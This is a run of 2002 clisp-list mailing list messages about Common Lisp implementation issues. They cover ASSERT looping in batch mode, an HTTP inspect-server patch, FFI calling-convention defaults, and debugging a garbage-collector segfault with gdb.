    >> WARNING: (>= -1 0) must evaluate to a non-NIL value.  Retry
    >> WARNING: (>= -1 0) must evaluate to a non-NIL value.  Retry ...

    lin8080> Would you type in 100x Retry? 

No, I wouldn't. I just wanted to point out that you did not do what
Bruno asked for and of course obtained a different behavior. I don't
know whether it is the same isssue Bruno was talking about as he said
"it creates an endless loop".

    lin8080> How should the Interpreter react? 

IMHO, if it is set in stone by the hyperspec that a "correctable"
error is signalled there should be a chance to actually correct the
error and the interpreter should wait for user input.

Otherwise if the interpreter is meant to be run in some sort of
non-interaction mode the interpreter should signal the error and just
exit without retrying to evaluate the test-form.

Claudio


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> * In message <DFD875E85664D3118FA6080006277DE7055A07EB@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] broken http inspect server on win32"
> * Sent on Wed, 17 Apr 2002 18:32:29 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Hi,
> 
> Sam Steingold wrote:
> > missed this.  please try the patch:
> >  local void low_close_socket (object stream, object handle) {
> >    begin_system_call();
> > + #ifdef WIN32_NATIVE
> > +  if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); }
> > + #endif
> >    if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); }
> >    end_system_call();
> >  }
> 
> The define is SD_BOTH (cf Arseny's e-mail), not SHUT_*.

SHUT_* is the POSIX standard; I define them in win32.d.

please try the appended patch.
keep-alive was disabled since it requires computing the content-length
in characters which is hard to achieve due to CR/LF &c.

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--- inspect.lisp.~1.13.~	Wed Jan 16 17:32:49 2002
+++ inspect.lisp	Mon Apr 22 11:48:34 2002
@@ -559,6 +559,7 @@
         (when (> debug 0)
           (format t "~s: connection: ~s (keep-alive: ~s)~%"
                   'http-command (subseq line 12) keep-alive))
+        #+discard-keep-alive
         (when keep-alive
           (setq keep-alive nil)
           (when (> debug 0)



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> * In message <15549.34878.794642.34679@honolulu.ilog.fr>
> * On the subject of "[clisp-list] assert goes into an endless loop"
> * Sent on Wed, 17 Apr 2002 16:35:42 +0200 (CEST)
> * Honorable Bruno Haible <haible@ilog.fr> writes:
>
> $ clisp -x '(assert (>= -1 0))'
> goes into an endless loop.

this is fixed in the CVS now.

> This makes it very risky to use ASSERT in batch mode scripts.

you don't want to use ASSERT in batch scripts.
ASSERT is an interactive idiom.

> It'd better for the script to abort in such a case, instead of going
> into an endless loop.

actually, I would argue that it is better to invoke an interactive
debugger in such a situation, at least in some cases.

Right now CLISP will go into batch mode with -c and -x and exec
options, thus preventing ASSERT loops.
I think this should be optional -- e.g., an -interactive or -no-batch
option should override this batch mode.
what do you think?

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Hi,

> Bruno said that stdcall is not used anymore and may be removed.
> I decided against removing.

Could somebody please report whether the code for :language stdc-stdcall actually works?

What are libraries that require the STDCALL convention?

I tried the following, after seeing in one of Reini Urban's files:
> (ffi-defun-dll "sleep" "Sleep" "(L)" "kernel32.dll")

The following example requires my dynload facility.

[5]> (setq *k32* (user::foreign-library "kernel32.dll"))
#<FOREIGN-POINTER #x77E70000>

[7]> (setq sleep-address (resolve-foreign-name "Sleep" *k32* 'ffi:foreign-function))
#<FOREIGN-ADDRESS #x77E76779>

[10]> (setq sleepf (foreign-address-function "Sleep" sleep-address
  (ffi::parse-c-type '(ffi:c-function (:arguments (delay ffi:ulong)) (:return-type nil) (:language :stdc-stdcall))) ))
#<FOREIGN-FUNCTION "Sleep" #x77E76779>

[14]> (funcall sleepf 100)
; seems to wait 1 second


[16]> (setq sleepweirdf (foreign-address-function "Sleep" sleep-address
  (ffi::parse-c-type '(ffi:c-function (:arguments (delay ffi:ulong)) (:return-type nil) (:language :stdc))) ))
[18]> (funcall sleepweirdf 1000)
; seems to wait for 1 second as well


I.e., both :language :stdc and :stdc-stdcall seem to work!?!
-- At least with this trivial testcase OF WHICH I DON'T EVEN
KNOW WHAT LINKAGE it requires! I know next to nothing about the
MS-Windoze API). Both cases should *not* work (at least, the
C stack may be corrupt with one of them, even if it doesn't
show immediately).

[21]> (describe sleepf)
#<FOREIGN-FUNCTION "Sleep" #x77E76779> is a foreign function of foreign type 
(FFI:C-FUNCTION (:ARGUMENTS ((:|arg1| FFI:ULONG :IN :NONE)))
 (:RETURN-TYPE NIL :NONE) (:LANGUAGE :STDC-STDCALL)).

[22]> (describe sleepweirdf)
#<FOREIGN-FUNCTION "Sleep" #x77E76779> is a foreign function of foreign type 
(FFI:C-FUNCTION (:ARGUMENTS ((:|arg1| FFI:ULONG :IN :NONE)))
 (:RETURN-TYPE NIL :NONE) (:LANGUAGE :STDC)).

Help welcome,
	Jorg Hohle.


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Sam writes:

> > $ clisp -x '(assert (>= -1 0))'
> > goes into an endless loop.
> 
> this is fixed in the CVS now.

Thank you.

> > This makes it very risky to use ASSERT in batch mode scripts.
> 
> you don't want to use ASSERT in batch scripts.
> ASSERT is an interactive idiom.

If you say ASSERT is interactive, then CHECK-TYPE, CCASE, CTYPECASE
etc would also be "interactive" and forbidden in batch scripts.

But this is against one of the principles of the CL condition system.
Namely, the separation between the code which signals an exception and
the code which handles it. The idea behind this separation is to reuse
some code from a non-interactive application in an interactive
application, and vice versa, without changing the code. Only the
top-level signal handlers differ between the two kinds of
applications, and this should be enough to implement the distinction
between the interactive and non-interactive case.

> actually, I would argue that it is better to invoke an interactive
> debugger in such a situation, at least in some cases.
> ...
> e.g., an -interactive or -no-batch
> option should override this batch mode.
> what do you think?

There are indeed cases where one wants to debug non-interactive
scripts. A -interactive-debug option would be useful for this case.
But by default, -x and exec options should be non-interactive, IMO.

Bruno


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Is the problem that continuable errors are continued in batch mode?
It does seem useful to continue past some such errors in that case.
Perhaps there could be a limited number of such continues?  In fact
it might be useful to specify the limit in a batch program.


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Hi,

Peter Wood wrote:
> I have a patch for configure and makemake.in which autocreate rules
> for building the extensions which you have posted to the list.  Once
The patch is only interim. These FFI extensions are not to stay as modules. They ought to become part of CLISP, i.e. completely merged into foreign.d|lisp/subr.d/constsym.d/lispbibl.d/....
Using a module is just an easy way to add extensions, as I wrote in my article. Using them, I don't need to recompile all of CLISP.

> this mark_invalid_foreign problem sorted out, I will post the patch to
> the list, and hopefully more people will be able to build and report
> back.
Thanks a lot!

Please add to foreign.d in the interim (until I rewrite ugly code):
# (FFI:MARK-INVALID-FOREIGN foreign-address)
LISPFUNN(mark_invalid_foreign,1)
{ value1=T; mv_count=1; }


> I am using cvs Clisp (downloaded Friday evening, CET), and
> sysdll-1.7.c, sysdll-1.3.h, and dynload.d.
Great. autoconf stuff for the defines these files need (HAVE__DLERROR, HAVE_SHL_LOAD etc.) would be great for final steps! These should be taken from XEmacs CVS.

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	Jorg Hohle.


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> * In message <15556.15171.614374.749257@honolulu.ilog.fr>
> * On the subject of "Re: [clisp-list] assert goes into an endless loop"
> * Sent on Mon, 22 Apr 2002 18:33:07 +0200 (CEST)
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>
> Sam writes:
> 
> > actually, I would argue that it is better to invoke an interactive
> > debugger in such a situation, at least in some cases.
> > ...
> > e.g., an -interactive or -no-batch
> > option should override this batch mode.
> > what do you think?
> 
> There are indeed cases where one wants to debug non-interactive
> scripts. A -interactive-debug option would be useful for this case.

okay, let it be `-interactive-debug' (long but clear, the CL way :-)

BTW, ASSERT and CHECK-TYPE use PROMPT-FOR-NEW-VALUE which goes through
*QUERY-IO* and not *DEBUG-IO*.  Are you sure this is correct?
(I bet it's a typo :-)

> But by default, -x and exec options should be non-interactive, IMO.
of course (-c is there too!)

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Hi,

Sam Steingold wrote:

> if the calling convention (default-foreign-language) is so crucial,
> let's make the :language argument required, 
This is an acceptable solution.

However, it goes against the "support lazyness" principle. And here,
I believe meeting an acceptable degree of lazyness can be achieved
by providing a reasonable default.
 + :language :C was a reasonable default back when the FFI was written.
 + :language :STDC is a reasonable default these days.
 - unknown defaulting behaviour based on a non-closed-over
   default-language special variable is not a reasonable default,
   as I tried to explain. It's calling for crashes.

To be more precise: the one default should not change anymore in future
(compatibility). If somebody finds this unacceptable (why accept
change now when it should be forbidden in future?) then the only
resort I see is make :language a required argument.

Requiring :language will break some code (not all, because presumably
many use DEF-C-CALL-OUT instead of DEF-CALL-OUT). Probably very few, if any.

My argument in favour of :C -> :STDC was similar in that it presumably
also shouldn't break much existing code, and possibly even match current use
and thus actual function declarations better.


> even when default-foreign-language is there.
I don't understand. There's no need for default-foreign-language
anymore when :language is required?

That's why I said I cannot see any value in DEFAULT-FOREIGN-LANGUAGE.
Let'S kill it.


> > o Do not deprecate DEF-C-CALL-OUT. That's what 99% or programmers
> > have been using 95% of time.
> > It consisely expresses the function's signature without
> > affecting arguments. Think about the subtle difference between:
> > (def-stdcall-call-out foo
> >    (:arguments ((callback (c-function (:arguments #)))))
> >    (:return-type int))
> > and
> > (default-foreign-language :stdcall)
> > (def-call-out bar
> >    (:arguments ((callback (c-function (:arguments #)))))
> >    (:return-type int))
> 
> your example does not use def-call-out!
I don't understand. There's def-call-out bar above.

> the default-foreign-language is used not only in 
> def-call-out, but also in c-function.
Sure. All calls to PARSE-C-FUNCTION and PARSE-C-TYPE in foreign1.lisp
are affected, at compile-time *and* at run-time. But what is the point?


> in your example, the problem could have been resolved by issuing a
> default-foreign-language form in top-level

What top-level do you mean?

 + interactive read-eval-print top-level?
 + file top-level?
The latter is not enough.

Perhaps I didn't make my point clear:

My example produces a crash (or at least an incorrect calling convention) when the run-time value (when calling regexec) of the user's DEFAULT-LANGUAGE and the programmer's one differ. Using DEFAULT-FOREIGN-LANGUAGE in some .lisp file does not help for run-time. Neither is it load-time that I'm talking about.

By not allowing control over run-time, DEFAULT-FOREIGN-LANGUAGE induces crashes on machines which differ from the programmer's one (as seen too much on M$-Win*). This is not acceptable.

Therefore, I repeat: let's kill DEFAULT-FOREIGN-LANGUAGE.

Whether :language is made required or defaults to :C (status quo) or :stdc is *another* 
topic. All three choices (require, :C, :StdC) I find acceptable (and favour :stdC).

Regards,
	Jorg Hohle.


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Joerg,
you are not using the "reply" feature of your mailer (or it is broken),
which makes it hard to read your messages: usually, when someone quotes
too little, I can hit "^" in gnus and see the parent message in the
thread.  it does not work with your messages, alas.

> * In message <DFD875E85664D3118FA6080006277DE7055A0A82@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] critique of default-foreign-language (was: tiny suggestion about foreign1.lisp (FFI))"
> * Sent on Mon, 22 Apr 2002 18:06:04 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> > the default-foreign-language is used not only in 
> > def-call-out, but also in c-function.
> Sure. All calls to PARSE-C-FUNCTION and PARSE-C-TYPE in foreign1.lisp
> are affected, at compile-time *and* at run-time. But what is the point?

the result of loading a file (compiled or not) should not depend on the
load environment. (e.g., *package*, *foreign-language* &c).

this is accomplished by ensuring that the macroexpansion of DEF-CALL-*
contains a :LANGUAGE arg, whether it was supplied or not.
this is not done now, and it is a bug.
I will try to fix it soon.

> My example produces a crash (or at least an incorrect calling
> convention) when the run-time value (when calling regexec) of the
> user's DEFAULT-LANGUAGE and the programmer's one differ. Using
> DEFAULT-FOREIGN-LANGUAGE in some .lisp file does not help for
> run-time. Neither is it load-time that I'm talking about.

at run time the *foreign-language* should be irrelevant and
incorporated in the FOREIGN-FUNCTION object (the calling convention is
specific for each function, right?)

> By not allowing control over run-time, DEFAULT-FOREIGN-LANGUAGE
> induces crashes on machines which differ from the programmer's one (as
> seen too much on M$-Win*). This is not acceptable.

if you are saying that the run-time value of *foreign-language* can
influence the behavior of an existing FOREIGN-FUNCTION, we have a bug
in the calling conventions of FOREIGN-FUNCTIONs.

> Therefore, I repeat: let's kill DEFAULT-FOREIGN-LANGUAGE.

let's kill *package* too and require package prefixes for all symbols
in all files.

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Hi

Attached is a package containing some patches which enable an easy
build of Joerg Hoehle's new FFI for Clisp.  The package also contains
the files Joerg has posted to the list, so all you need to do is the
following:

1) Get CVS Clisp  at sourceforge.
2) cd clisp/
3) tar xvzf ffi-ext.tar.gz
4) sh do-patches

Then do a normal build, just adding '--with-ffi-ext' to your normal
./configure options.

There is a README in the package, which repeats the above
instructions, and also describes what the patches are, and lists the
files included in the package.

When the new clisp has built, you can try:

./lisp.run -q -M lispinit.mem

[1]> (load #"../src/ffi-ext-examples/dynex.lisp")

The new FFI is extremely cool, IMO.  If you experience problems, or
have suggestions, comments, send 'em to the list!

Have fun.

Regards,
Peter
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I was wondering if there is a way to change your position in a file when
reading to and writing from the file? something similar to the 'seek'
functions in C.

By the way, I'd like to mention that I'm using a binary I/O stream and
read/write-byte for I/O functions. =20

So I'd like to be able to:

(let
    ((foo (open "myfile" :element-type '(unsigned-byte 8) :direction
:input)))
    (seek foo 45) ;;; move ahead 45 bytes
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    ...)

Any advice?

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Jeremy Doolin <jdoolin@cs.ohiou.edu> writes:

> I was wondering if there is a way to change your position in a file when
> reading to and writing from the file? something similar to the 'seek'
> functions in C.
> 
> By the way, I'd like to mention that I'm using a binary I/O stream and
> read/write-byte for I/O functions.  
> 
> So I'd like to be able to:
> 
> (let
>     ((foo (open "myfile" :element-type '(unsigned-byte 8) :direction
> :input)))
>     (seek foo 45) ;;; move ahead 45 bytes
>     (read foo)
>     ...)
> 
> Any advice?

FILE-POSITION,
cf. <http://www.xanalys.com/software_tools/reference/HyperSpec/Body/f_file_p.htm>

Edi.


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Hi,

I've been progressing in my quest to compile sbcl using clisp (2.28) as a
cross-compilation host -- it's picked up several SBCL bugs, and the
cross-compiler now runs to the extent of producing about 30 sbcl-style
fasls. However, I then get:

*** - handle_fault error2 ! address = 0xC0 not in [0x202AB000,0x20975920) !
SIGSEGV cannot be cured. Fault address = 0xC0.
Segmentation fault

and I'm wondering how to track the cause of this down. It's
reproduceable, and I'm happy to try things out, but because of the
nature of my "application" I haven't exactly got a small test case :-/

Any ideas?

Thanks,

Christophe
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Hi,

I'll try to answer shortly, seeking a compromise. I'll drop the
long email I've prepared.

Sam steingold wrote:
> this is accomplished by ensuring that the macroexpansion of DEF-CALL-*
> contains a :LANGUAGE arg, whether it was supplied or not.
> this is not done now, and it is a bug.
> I will try to fix it soon.

This is what I understand:
So you seem to opt for choice "make :language required". That's ok.

So it's ok. Make :language required. As I said yesterday,
either of the 3 choices is fine with me.

Don't forget that it's not DEF-*-CALL-* that I've griefs with.
It's perfectly legal code (so far) like:
(CAST foo '(C-FUNCTION ...))
I.e. PARSE-C-TYPE and PARSE-C-FUNCTION, and impnotes must be
changed to provide the new behaviour: no :language -> error.

However,
I realize that your wording "by ensuring ... DEF-CALL-* ... a :LANGUAGE
arg, whether it was supplied or not" does not say anything about
PARSE-C-TYPE etc. It also does not imply that DEFAULT-FOREIGN-LANGUAGE disappear.

But please don't provide pluggable defaults, i.e.
drop default-foreign-language.

Indeed, when :language becomes required, I fail to see how
default-foreign-language is still used. Do I miss something?


Proposal:
PARSE-C-TYPE, PARSE-C-FUNCTION: no :language -> error
DEF-CALL-OUT: no :language -> error
DEF-C-CALL-OUT: provides (:language :stdc) to DEF-CALL-OUT, as always
DEf-LIB-CALL-OUT (Amiga) adds (:language :STDC) arbitrarily for compatibility?
DEF-LIB-CALL-OUT (truly dynamic FFI, if I keep this name): require :language

The result is predictable behaviour *in all situations*, with
slightly added verbosity for the (supposedly) minority of people
doing run-time stuff, as well as more verbosity for the people
using DEF-LIB-CALL-OUT, i.e. the new shared library API.

Regards,
	Jorg Hohle.
who stills prefers no :language -> :stdc


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Hi,

>please try the appended patch.
>keep-alive was disabled since it requires computing the content-length
>in characters which is hard to achieve due to CR/LF &c.

Then the HTTP header becomes part of the displayed text. Furthermore,
Netscape says 2 bytes read (I see much more in the window) and
the animation shows that it's still trying to load something.


HTTP/1.0 200 OK Content-type: text/html Content-length: 1061 Connection: keep-alive 

atom

    type: PACKAGE 
    class: #1=#<BUILT-IN-CLASS PACKAGE> 

#<PACKAGE SYSTEM>


> you are not using the "reply" feature of your mailer (or it 
> is broken),
It may well be. It's MS-Outlook. Here I hit "reply to all" -- does it work?
Don't ask me to use another mailer. There are lots of things which I cannot
change in the company I'm working at. Fours years ago, when I came to it,
I accepted to have to sit in front of a PeeCee (after >10 years experience
with nicer systems). There were other freedoms for compensation.
I'm sorry, I didn't find a "set line-length to 72 or some such" in this
stupid mailer (MS-Outlook 2000). I believe I had seen one in the previous
one (MS-Outlook-97).
So I've been adding line-breaks by hand lately.


Regards,
	Jorg Hohle.


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> * In message <20020423081019.GA2920@cam.ac.uk>
> * On the subject of "[clisp-list] What causes hard exits from clisp?"
> * Sent on Tue, 23 Apr 2002 09:10:19 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> *** - handle_fault error2 ! address = 0xC0 not in [0x202AB000,0x20975920) !
> SIGSEGV cannot be cured. Fault address = 0xC0.
> Segmentation fault

create the Makefile by giving makemake a "debug" argument, then edit
CFLAGS in Makefile to your taste, then remake.
then use gdb to debug the crash.


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I am sorry, but I do not understand a single word of what you are
saying.  (Remember, English is a second language for both of us!)
Could you please re-state briefly why you don't like the current system?
Specifically, how is it different from *PACKAGE* & IN-PACKAGE.

> * In message <DFD875E85664D3118FA6080006277DE7055A0AC7@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] critique of default-foreign-language"
> * Sent on Tue, 23 Apr 2002 10:18:48 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam steingold wrote:
> > this is accomplished by ensuring that the macroexpansion of DEF-CALL-*
> > contains a :LANGUAGE arg, whether it was supplied or not.
> > this is not done now, and it is a bug.
> > I will try to fix it soon.
> 
> So you seem to opt for choice "make :language required". That's ok.

nope.

> DEf-LIB-CALL-OUT (Amiga) adds (:language :STDC) arbitrarily for compatibility?
> DEF-LIB-CALL-OUT (truly dynamic FFI, if I keep this name): require :language

wouldn't these be gone when all the FFI goes dynamic?

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Hi,

On Tue, Apr 23, 2002 at 09:10:19AM +0100, Christophe Rhodes wrote:
> Hi,
> 
> I've been progressing in my quest to compile sbcl using clisp (2.28) as a
> cross-compilation host -- it's picked up several SBCL bugs, and the
> cross-compiler now runs to the extent of producing about 30 sbcl-style
> fasls. However, I then get:
> 
> *** - handle_fault error2 ! address = 0xC0 not in [0x202AB000,0x20975920) !
> SIGSEGV cannot be cured. Fault address = 0xC0.
> Segmentation fault
> 
> and I'm wondering how to track the cause of this down. It's
> reproduceable, and I'm happy to try things out, but because of the
> nature of my "application" I haven't exactly got a small test case :-/
> 
> Any ideas?
> 
> Thanks,
> 
> Christophe

Can you compile your cross-compiler with debugging enabled? (either do
this by: "./makemake --with-xyz --with-etc debug > Makefile" |
alternatively, with a new cvs Clisp I think 'configure' also takes a
debug option)

Then try to compile SBCL - if Clisp segfaults again, you can run gdb
on the core file generated, and do a backtrace.  It may help.

You might want to first simply try compiling with the latest Clisp
cvs.

Regards,
Peter


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On Tue, Apr 23, 2002 at 09:30:11AM -0400, Sam Steingold wrote:
> > * In message <20020423081019.GA2920@cam.ac.uk>
> > * On the subject of "[clisp-list] What causes hard exits from clisp?"
> > * Sent on Tue, 23 Apr 2002 09:10:19 +0100
> > * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
> >
> > *** - handle_fault error2 ! address = 0xC0 not in [0x202AB000,0x20975920) !
> > SIGSEGV cannot be cured. Fault address = 0xC0.
> > Segmentation fault
> 
> create the Makefile by giving makemake a "debug" argument, then edit
> CFLAGS in Makefile to your taste, then remake.
> then use gdb to debug the crash.

Thanks. I've attached a backtrace, in case it makes more sense to anyone
else -- it appears to be in garbage collection land, looking trying to
mark a subroutine? I'm afraid I know almost nothing of clisp internals
:-/

If people want to inspect things on the stack, do let me know -- I can
hold this gdb session; alternatively, it's fairly straightforward to
replicate the crash if you are willing to grab the sbcl source code...

Cheers,

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#0  gc_mark (obj=0x67e54c1b) at spvw_garcol.d:288
288	                  down_subr();
#0  gc_mark (obj=0x67e54c1b) at spvw_garcol.d:288
#1  0x0804c73e in gc_mark_stack (objptr=0x401f45bc) at spvw_garcol.d:440
#2  0x0804c860 in gc_markphase () at spvw_garcol.d:450
#3  0x0804cf80 in gar_col_normal () at spvw_garcol.d:1635
#4  0x0804ddff in do_gar_col_simple () at spvw_garcol.d:2467
#5  0x080ba49a in with_gc_statistics (fun=0x804dda8 <do_gar_col_simple>)
    at predtype.d:2854
#6  0x0804de34 in gar_col_simple () at spvw_garcol.d:2474
#7  0x0804df87 in make_space_gc_true (need=108, heapptr=0x8250384)
    at spvw_allocate.d:236
#8  0x0804e462 in allocate_string (len=50) at spvw_typealloc.d:170
#9  0x080992ed in make_ssstring (len=50) at array.d:4192
#10 0x08072ebd in make_string_output_stream () at stream.d:2187
#11 0x080b334c in begin_error () at error.d:66
#12 0x080b3923 in fehler (errortype=source_program_error, 
    errorstring=0x8179f02 "~: ~ is not a function name") at error.d:317
#13 0x080b4d0e in fehler_funname_source () at error.d:914
#14 0x080584bf in eval1 (form=0x67dec37b) at eval.d:3146
#15 0x08058176 in eval (form=0x67dec37b) at eval.d:2982
#16 0x0805589d in eval_5env (form=0x67dec37b, var_env=0x8241221, 
    fun_env=0x8241221, block_env=0x8241221, go_env=0x8241221, 
    decl_env=0x680a779b) at eval.d:977
#17 0x080558d7 in eval_noenv (form=0x67dec37b) at eval.d:989
#18 0x08063b47 in C_eval () at control.d:2299
#19 0x0805ce90 in interpret_bytecode_ (closure=0x203214a1, codeptr=0x20320f0c, 
    byteptr_in=0x20320f1e <Address 0x20320f1e out of bounds>) at eval.d:7070
#20 0x0805b908 in funcall_closure (closure=0x203214a1, args_on_stack=2)
    at eval.d:5844
#21 0x0805ae77 in funcall (fun=0x20320499, args_on_stack=2) at eval.d:5031
#22 0x0805ce3d in interpret_bytecode_ (closure=0x20326015, codeptr=0x20325ff4, 
    byteptr_in=0x20326006 <Address 0x20326006 out of bounds>) at eval.d:7067
#23 0x0805b908 in funcall_closure (closure=0x20326015, args_on_stack=1)
    at eval.d:5844
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> * In message <20020423142328.GA5538@cam.ac.uk>
> * On the subject of "Re: [clisp-list] What causes hard exits from clisp?"
> * Sent on Tue, 23 Apr 2002 15:23:28 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> > > Segmentation fault
> > 
> > create the Makefile by giving makemake a "debug" argument, then edit
> > CFLAGS in Makefile to your taste, then remake.
> > then use gdb to debug the crash.
> 
> Thanks. I've attached a backtrace, in case it makes more sense to anyone
> else -- it appears to be in garbage collection land, looking trying to
> mark a subroutine? I'm afraid I know almost nothing of clisp internals
> :-/

no need.  this is probably the usual "GC safety violation", i.e., a bug
that you will spot easily after I tell you were to look :-)

> If people want to inspect things on the stack, do let me know -- I can
> hold this gdb session; alternatively, it's fairly straightforward to
> replicate the crash if you are willing to grab the sbcl source code...

this appears to be a non-CVS CLISP (i.e., a release).
please get the CVS and try it.
while the CLISP build is raging on, please read
<http://clisp.cons.org/impnotes/gc-safety.html>

when you get the reproducible error, you will have to do the following:

walk around the stack (starting with, say, fehler_funname_source() in
your case and try `zout var` for various `object' vars, if it prints
fine, then it's okay, if it segfaults, it was corrupted - you have to
find the corrupted object, i.e., the one that was not saved on the STACK
before an un-safe call.)

thanks.

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On Tue, Apr 23, 2002 at 11:08:55AM -0400, Sam Steingold wrote:
> > * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
> >
> > > > Segmentation fault
> > > 
> > > create the Makefile by giving makemake a "debug" argument, then edit
> > > CFLAGS in Makefile to your taste, then remake.
> > > then use gdb to debug the crash.
> > 
> > Thanks. I've attached a backtrace, in case it makes more sense to anyone
> > else -- it appears to be in garbage collection land, looking trying to
> > mark a subroutine? I'm afraid I know almost nothing of clisp internals
> > :-/
> 
> no need.  this is probably the usual "GC safety violation", i.e., a bug
> that you will spot easily after I tell you were to look :-)

Erm, Ok... you have great faith in me.

> > If people want to inspect things on the stack, do let me know -- I can
> > hold this gdb session; alternatively, it's fairly straightforward to
> > replicate the crash if you are willing to grab the sbcl source code...
> 
> this appears to be a non-CVS CLISP (i.e., a release).

Yes.

> please get the CVS and try it.

I shall do, though I'm slightly reluctant in that I already have one or
two too many variables in my head... I might end up slightly confused
over this one -- I hope not.

> while the CLISP build is raging on, please read
> <http://clisp.cons.org/impnotes/gc-safety.html>

Right. So something wasn't pushSTACKed before calling some other
function? OK.

> when you get the reproducible error, you will have to do the following:
>
> walk around the stack (starting with, say, fehler_funname_source() in
> your case and try `zout var` for various `object' vars, if it prints
> fine, then it's okay, if it segfaults, it was corrupted - you have to
> find the corrupted object, i.e., the one that was not saved on the STACK
> before an un-safe call.)

I'm slightly lost by this one -- do you mean the C stack or the clisp
STACK? An example would help. I tried zouting various things in various
frames and got nothing but segfaults, so it's possibly that I haven't
understood...

Cheers,

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> * In message <20020423155251.GA5957@cam.ac.uk>
> * On the subject of "Re: [clisp-list] What causes hard exits from clisp?"
> * Sent on Tue, 23 Apr 2002 16:52:51 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> > while the CLISP build is raging on, please read
> > <http://clisp.cons.org/impnotes/gc-safety.html>
> Right. So something wasn't pushSTACKed before calling some other
> function? OK.

yes.

> > when you get the reproducible error, you will have to do the following:
> >
> > walk around the stack (starting with, say, fehler_funname_source() in
> > your case and try `zout var` for various `object' vars, if it prints
> > fine, then it's okay, if it segfaults, it was corrupted - you have to
> > find the corrupted object, i.e., the one that was not saved on the STACK
> > before an un-safe call.)
> 
> I'm slightly lost by this one -- do you mean the C stack or the clisp

walk around the C stack, checking that everything that should be on the
Lisp STACK is actually there.

> STACK? An example would help. I tried zouting various things in various
> frames and got nothing but segfaults, so it's possibly that I haven't
> understood...

sorry - after the memory got corrupted (which is indicated by the
segfault), you will get many random segfaults.

you have to walk (in the debugger) up to the point when CLISP crashes,
but stop before the actual segfault.
e.g., set a break in fehler_funname_source() - you probably get there
just this once (or maybe not - in that case you have to count the
fehler_funname_source hits and set a delayed break).

Note that zout is not GC-safe itself (especially when printing large
objects) - so calling it at a bad moment can get you in trouble.

No, this is not trivial, but you _can_ do it.

e.h.,

(gdb) break fehler_funname_source
(gdb) c
<stopped in fehler_funname_source, if you hit `finish', you get
the crash>
(gdb) n
<you are at the entrance to the fehler() call in fehler_funname_source() >
(gdb) zout caller
crash -- somewhere above `caller' was corrupted - restart and stop
earlier and see when `caller' gets corrupted...
otherwise,
(gdb) zout obj
crash -- somewhere above `obj' was corrupted - restart and stop
earlier and see when `obj' gets corrupted...
otherwise,
...

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i'm not expert, and i just want to use clisp under mac os x

[localhost:clisp-2.28 Folder/clisp-2.28] thomas% ./configure bin/
./configure: condition expected: Folder/clisp-2.28 [275]
./configure: condition expected: Folder/clisp-2.28/bin [282]
chmod: Folder/clisp-2.28/bin/configure: No such file or directory

is it normal ? where is clisp ?



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On Tue, Apr 23, 2002 at 01:19:52PM -0400, Sam Steingold wrote:
> > > when you get the reproducible error, you will have to do the following:
> > >
> > > walk around the stack (starting with, say, fehler_funname_source() in
> > > your case and try `zout var` for various `object' vars, if it prints
> > > fine, then it's okay, if it segfaults, it was corrupted - you have to
> > > find the corrupted object, i.e., the one that was not saved on the STACK
> > > before an un-safe call.)
> > 
> > I'm slightly lost by this one -- do you mean the C stack or the clisp
> 
> walk around the C stack, checking that everything that should be on the
> Lisp STACK is actually there.
> 
> > STACK? An example would help. I tried zouting various things in various
> > frames and got nothing but segfaults, so it's possibly that I haven't
> > understood...
> 
> sorry - after the memory got corrupted (which is indicated by the
> segfault), you will get many random segfaults.
> 
> you have to walk (in the debugger) up to the point when CLISP crashes,
> but stop before the actual segfault.
> e.g., set a break in fehler_funname_source() - you probably get there
> just this once (or maybe not - in that case you have to count the
> fehler_funname_source hits and set a delayed break).

Oh, I see. Ugggh. Um. The backtrace that I elided a couple of messages
upthread has upwards of 1000 frames. And there were quite a few
fehler_funname_source()s in there :-/ Looks like it's a long-term
project...

> Note that zout is not GC-safe itself (especially when printing large
> objects) - so calling it at a bad moment can get you in trouble.

Ouch.

Um, ok. Thanks. I'll try to look at it.

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> * In message <20020423182507.GA6665@cam.ac.uk>
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> * Sent on Tue, 23 Apr 2002 19:25:07 +0100
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>
> > e.g., set a break in fehler_funname_source() - you probably get there
> > just this once (or maybe not - in that case you have to count the
> > fehler_funname_source hits and set a delayed break).
> 
> Oh, I see. Ugggh. Um. The backtrace that I elided a couple of messages
> upthread has upwards of 1000 frames. And there were quite a few
> fehler_funname_source()s in there :-/ Looks like it's a long-term
> project...

there is something wrong here.
fehler_funname_source cannot call fehler_funname_source.

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Hallo

>>>>> "lin8080" == lin8080  <lin8080@freenet.de> writes:

    lin8080> Claudio Bley schrieb:
    >>  "lin8080" == lin8080 <lin8080@freenet.de> writes:

    lin8080> With clisp-2.28 on win98:

    >> OK, but what about: clisp -x '(assert (>= -1 0))' ???

    >> On Linux i686, GNU CLISP 2.28 it indeed creates an endless
    >> loop:

    >> WARNING: (>= -1 0) must evaluate to a non-NIL value.  Retry
    >> WARNING: (>= -1 0) must evaluate to a non-NIL value.  Retry ...

    lin8080> Would you type in 100x Retry? 

.No, I wouldn't. I just wanted to point out that you did not do what
.Bruno asked for and of course obtained a different behavior. I don't
.know whether it is the same isssue Bruno was talking about as he said
."it creates an endless loop".

Aha. I show, what the interpreter does and this is ok, means the
interpreter find a correctable error and asks for instructions. I can't
guess, what Bruno means. But when assert returns in an interaction with
the user, it can't be used inside a list (the program will halt and
wait). What else will make assert to stop the interpreter? Should the
internals behind assert be modified?

    lin8080> How should the Interpreter react? 

.IMHO, if it is set in stone by the hyperspec that a "correctable"
.error is signalled there should be a chance to actually correct the
.error and the interpreter should wait for user input.

Yes, that is what happend. And the "test-form" given to assert can be
all kind of form (see HyperSpec). I think, the user is that one who has
responsible for what he does. So, someone can put a note to the
